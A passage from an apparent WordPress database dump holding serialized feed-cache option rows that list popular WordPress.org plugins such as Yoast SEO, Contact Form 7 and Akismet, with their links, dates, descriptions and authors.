:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:15:\&quot;updateFrequency\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;1\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}}}}}}}}s:4:\&quot;type\&quot;;i:128;s:7:\&quot;headers\&quot;;a:8:{s:6:\&quot;server\&quot;;s:5:\&quot;nginx\&quot;;s:4:\&quot;date\&quot;;s:29:\&quot;Sun, 03 Nov 2013 08:53:22 GMT\&quot;;s:12:\&quot;content-type\&quot;;s:23:\&quot;text/xml; charset=UTF-8\&quot;;s:10:\&quot;connection\&quot;;s:5:\&quot;close\&quot;;s:4:\&quot;vary\&quot;;s:15:\&quot;Accept-Encoding\&quot;;s:10:\&quot;x-pingback\&quot;;s:36:\&quot;http://wordpress.org/news/xmlrpc.php\&quot;;s:13:\&quot;last-modified\&quot;;s:29:\&quot;Tue, 29 Oct 2013 21:04:59 GMT\&quot;;s:4:\&quot;x-nc\&quot;;s:11:\&quot;HIT lax 249\&quot;;}s:5:\&quot;build\&quot;;s:14:\&quot;20131101083921\&quot;;}', 'no');
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(3225, '_transient_timeout_feed_b9388c83948825c1edaef0d856b7b109', '1383512002', 'no'),
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+0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:9:\&quot;generator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:25:\&quot;http://bbpress.org/?v=1.1\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;item\&quot;;a:15:{i:0;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:22:\&quot;WordPress SEO by Yoast\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:53:\&quot;http://wordpress.org/plugins/wordpress-seo/#post-8321\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 01 Jan 2009 20:34:44 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:34:\&quot;8321@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:131:\&quot;Improve your WordPress SEO: Write better content and have a fully optimized WordPress site using the WordPress SEO plugin by Yoast.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;Joost de Valk\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:1;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;Contact Form 7\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:54:\&quot;http://wordpress.org/plugins/contact-form-7/#post-2141\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 02 Aug 2007 12:45:03 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:34:\&quot;2141@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:54:\&quot;Just another contact form plugin. Simple but flexible.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:16:\&quot;Takayuki Miyoshi\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:2;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:19:\&quot;All in One SEO Pack\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:58:\&quot;http://wordpress.org/plugins/all-in-one-seo-pack/#post-753\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 30 Mar 2007 20:08:18 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;753@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:126:\&quot;All in One SEO Pack is a WordPress SEO plugin to automatically optimize your Wordpress blog for Search Engines such as Google.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;uberdose\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:3;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:7:\&quot;Akismet\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:45:\&quot;http://wordpress.org/plugins/akismet/#post-15\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 09 Mar 2007 22:11:30 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;15@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:98:\&quot;Akismet checks your comments against the Akismet web service to see if they look like spam or not.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;Matt Mullenweg\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:4;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:19:\&quot;Google XML Sitemaps\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:63:\&quot;http://wordpress.org/plugins/google-sitemap-generator/#post-132\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 09 Mar 2007 22:31:32 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;132@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:105:\&quot;This plugin will generate a special XML sitemap which will help search engines to better index your blog.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:5:\&quot;Arnee\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:5;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:15:\&quot;NextGEN Gallery\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:55:\&quot;http://wordpress.org/plugins/nextgen-gallery/#post-1169\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 23 Apr 2007 20:08:06 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:34:\&quot;1169@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:122:\&quot;The most popular WordPress gallery plugin and one of the most popular plugins of all time with over 7.5 million downloads.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:9:\&quot;Alex Rabe\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:6;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;WP Super Cache\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:54:\&quot;http://wordpress.org/plugins/wp-super-cache/#post-2572\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 05 Nov 2007 11:40:04 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:34:\&quot;2572@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:73:\&quot;A very fast caching engine for WordPress that produces static html files.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:16:\&quot;Donncha O Caoimh\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:7;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:24:\&quot;Jetpack by WordPress.com\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:48:\&quot;http://wordpress.org/plugins/jetpack/#post-23862\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 20 Jan 2011 02:21:38 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;23862@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:104:\&quot;Supercharge your WordPress site with powerful features previously only available to WordPress.com users.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:9:\&quot;Tim Moore\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:8;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:18:\&quot;WordPress Importer\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:59:\&quot;http://wordpress.org/plugins/wordpress-importer/#post-18101\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 20 May 2010 17:42:45 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;18101@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:101:\&quot;Import posts, pages, comments, custom fields, categories, tags and more from a WordPress export file.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;Brian Colinger\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:9;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					